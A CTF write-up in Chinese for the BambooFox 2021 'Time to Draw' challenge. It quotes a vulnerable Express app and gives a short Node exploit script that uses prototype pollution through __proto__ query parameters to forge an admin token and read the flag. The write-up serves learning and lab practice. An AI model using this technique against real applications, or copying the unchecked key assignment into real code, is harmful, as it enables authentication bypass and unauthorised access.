aszx87410/ctf-writeups

BambooFox CTF 2021 - Time to Draw

aszx87410 opened this issue · 0 comments

是一個畫圖然後會即時同步的網站,有附上 source code:

const express = require("express");
const cookieParser = require('cookie-parser')
var crypto = require('crypto');
const secret = require("./secret");

const app = express();
app.use(cookieParser(secret.FLAG));

let canvas = {
    ...Array(128).fill(null).map(() => new Array(128).fill("#FFFFFF"))
};

const hash = (token) => crypto.createHash('sha256').update(token).digest('hex');

app.get('/', (req, res) => {
    if (!req.signedCookies.user)
        res.cookie('user', { admin: false }, { signed: true });

    res.sendFile(__dirname + "/index.html");
});

app.get('/source', (_, res) => {
    res.sendFile(__filename);
});

app.get('/api/canvas', (_, res) => {
    res.json(canvas);
});

app.get('/api/draw', (req, res) => {
    let { x, y, color } = req.query;
    if (x && y && color) canvas[x][y] = color.toString();
    res.json(canvas);
});

app.get('/promote', (req, res) => {
    if (req.query.yo_i_want_to_be === 'admin')
        res.cookie('user', { admin: true }, { signed: true });
    res.send('Great, you are admin now. <a href="/">[Keep Drawing]</a>');
});

app.get('/flag', (req, res) => {
    let userData = { isGuest: true };
    if (req.signedCookies.user && req.signedCookies.user.admin === true) {
        userData.isGuest = false;
        userData.isAdmin = req.cookies.admin;
        userData.token = secret.ADMIN_TOKEN;
    }

    if (req.query.token && req.query.token.match(/[0-9a-f]{16}/) &&
        hash(`${req.connection.remoteAddress}${req.query.token}`) === userData.token)
        res.send(secret.FLAG);
    else
        res.send("NO");
});

app.listen(3000, "0.0.0.0");

因為最近才解了一題 prototype pollution 的題目,所以一眼就看到:if (x && y && color) canvas[x][y] = color.toString(); 跟最後一段的判斷:

if (req.query.token && req.query.token.match(/[0-9a-f]{16}/) &&
    hash(`${req.connection.remoteAddress}${req.query.token}`) === userData.token)
    res.send(secret.FLAG);
else
    res.send("NO");

只要透過原型污染就可以讓 userData.token 可控,接下來只要找到正確的值就行了。

最後的解法長這樣:

var axios = require('axios')
var crypto = require('crypto')
var baseUrl = 'http://chall.ctf.bamboofox.tw:8787'
var myip = '1.1.1.1'

const hash = (token) => crypto.createHash('sha256').update(token).digest('hex');
const token = '5555555555555555'

const hashValue = hash(`${myip}${token}`)

async function run() {
  await axios.get(baseUrl + '/api/draw?x=__proto__&y=token&color=' + hashValue)
  const response = await axios.get(baseUrl + '/flag?token=' + token)
  console.log(response.data)
}

run()

讓 x = __proto__,y = token,所以就會變成:canvas['__proto__']['token'] = xxx,達成 prototype pollution。